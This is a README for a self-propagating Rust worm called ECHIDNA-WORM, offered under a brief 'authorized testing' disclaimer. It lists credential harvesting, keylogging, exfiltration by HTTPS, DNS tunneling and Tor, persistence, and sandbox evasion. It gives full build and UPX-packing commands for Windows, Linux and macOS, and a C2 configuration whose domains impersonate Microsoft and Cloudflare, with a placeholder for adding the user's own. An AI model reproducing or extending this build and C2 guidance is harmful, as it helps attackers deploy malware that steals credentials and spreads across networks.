ECHIDNA-WORM v1.0

An internet-scale self-propagating worm for credential harvesting and data exfiltration, designed for authorized security testing and educational purposes.

Disclaimer: This software is provided for authorized security testing and educational purposes only. Unauthorized use is illegal and unethical.

Overview

ECHIDNA-WORM is a multi-platform worm payload that demonstrates advanced persistence, propagation, and data exfiltration techniques. Built in Rust for performance and cross-platform compatibility.

Features

Feature	Description
Multi-Platform	Windows, Linux, and macOS support
Self-Propagation	SMB, RDP, SSH, and CVE-based spreading
Credential Harvesting	Browser passwords, SSH keys, WiFi credentials
Data Exfiltration	HTTPS, DNS tunneling, Tor fallback
Persistence	Registry, cron, systemd, launchd
Anti-Analysis	Debugger detection, sandbox evasion
Kill Switch	HMAC-signed self-destruct command
Keylogger	Windows keyboard capture
Screen Capture	Screenshot capability (Windows)

Project Structure

ECHIDNA-WORM-v1.0/
├── worm_full.rs         # Full-featured worm payload
├── worm_compact.rs      # Compact/minimal version
├── Cargo.toml           # Rust package manifest
├── build_all.sh         # Multi-platform build script
├── BUILD_GUIDE.md       # Detailed build instructions
├── README.md            # This file
├── LICENSE              # MIT License
├── SECURITY.md          # Security policy
└── CONTRIBUTING.md      # Contribution guidelines

Prerequisites

System Dependencies

sudo apt update && sudo apt upgrade -y

# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env

# Install cross-compilation targets
rustup target add x86_64-pc-windows-gnu
rustup target add x86_64-unknown-linux-musl
rustup target add aarch64-unknown-linux-musl
rustup target add x86_64-apple-darwin
rustup target add aarch64-apple-darwin

# Install system dependencies
sudo apt install -y \
    gcc-mingw-w64-x86-64 \
    musl-tools \
    upx \
    openssl \
    libssl-dev \
    pkg-config \
    build-essential \
    cmake \
    git \
    curl \
    wget \
    unzip

Build Instructions

Build All Platforms

chmod +x build_all.sh && ./build_all.sh

Build Individual Platforms

Linux x64:

cargo build --release --target x86_64-unknown-linux-musl
strip target/x86_64-unknown-linux-musl/release/echidna-worm
upx --ultra-brute --lzma target/x86_64-unknown-linux-musl/release/echidna-worm -o echidna_worm_linux_x64

Linux ARM64:

rustup target add aarch64-unknown-linux-musl
sudo apt install gcc-aarch64-linux-gnu

mkdir -p .cargo
echo '[target.aarch64-unknown-linux-musl]
linker = "aarch64-linux-gnu-gcc"' > .cargo/config.toml

cargo build --release --target aarch64-unknown-linux-musl
strip target/aarch64-unknown-linux-musl/release/echidna-worm
upx --ultra-brute target/aarch64-unknown-linux-musl/release/echidna-worm -o echidna_worm_linux_arm64

Windows x64:

cargo build --release --target x86_64-pc-windows-gnu
strip target/x86_64-pc-windows-gnu/release/echidna-worm.exe
upx --ultra-brute --lzma target/x86_64-pc-windows-gnu/release/echidna-worm.exe -o echidna_worm_win_x64.exe

macOS ARM64:

rustup target add aarch64-apple-darwin
cargo build --release --target aarch64-apple-darwin
strip target/aarch64-apple-darwin/release/echidna-worm
upx --ultra-brute target/aarch64-apple-darwin/release/echidna-worm -o echidna_worm_macos_arm64

Configuration

Edit the following constants in worm_full.rs:

/// C2 domains for command and control
const C2_DOMAINS: [&str; 7] = [
    "https://cloud-update.microsoft.com",
    "https://cdn.cloudflare.com",
    // ... add your C2 domains
];

/// HMAC key for kill command verification
const KILL_HMAC_KEY: &[u8] = b"YOUR_KILL_KEY_HERE";

/// Beacon interval in seconds
const BEACON_INTERVAL: u64 = 60;

/// Number of threads for network scanning
const SPREAD_THREADS: usize = 50;

How It Works

1. Anti-Sandbox: Delays execution to bypass sandbox timeouts
2. Persistence: Installs via registry/cron/systemd/launchd
3. Data Harvesting: Collects credentials, system info, SSH keys
4. Network Propagation: Scans and exploits vulnerable hosts
5. Data Exfiltration: Sends data via HTTPS or DNS tunneling
6. Beacon: Checks for kill signals and sends heartbeats

Detection Indicators

• Unexpected network connections to C2 domains
• Registry/cron modifications for persistence
• SSH key file access anomalies
• DNS tunneling patterns
• High network scanning activity

Legal Notice

This software is provided for authorized security testing and educational purposes only.

• Authorization Required: You must have explicit written permission from the system owner
• Legal Compliance: Unauthorized access to computer systems is illegal
• No Warranty: This software is provided "as is" without warranty
• Liability: The author assumes no responsibility for misuse

Contributing

See CONTRIBUTING.md for guidelines on contributing to this project.

Security

For reporting security vulnerabilities, see SECURITY.md.

License

This project is licensed under the MIT License - see the LICENSE file for details.

Author

wsuits6 - GitHub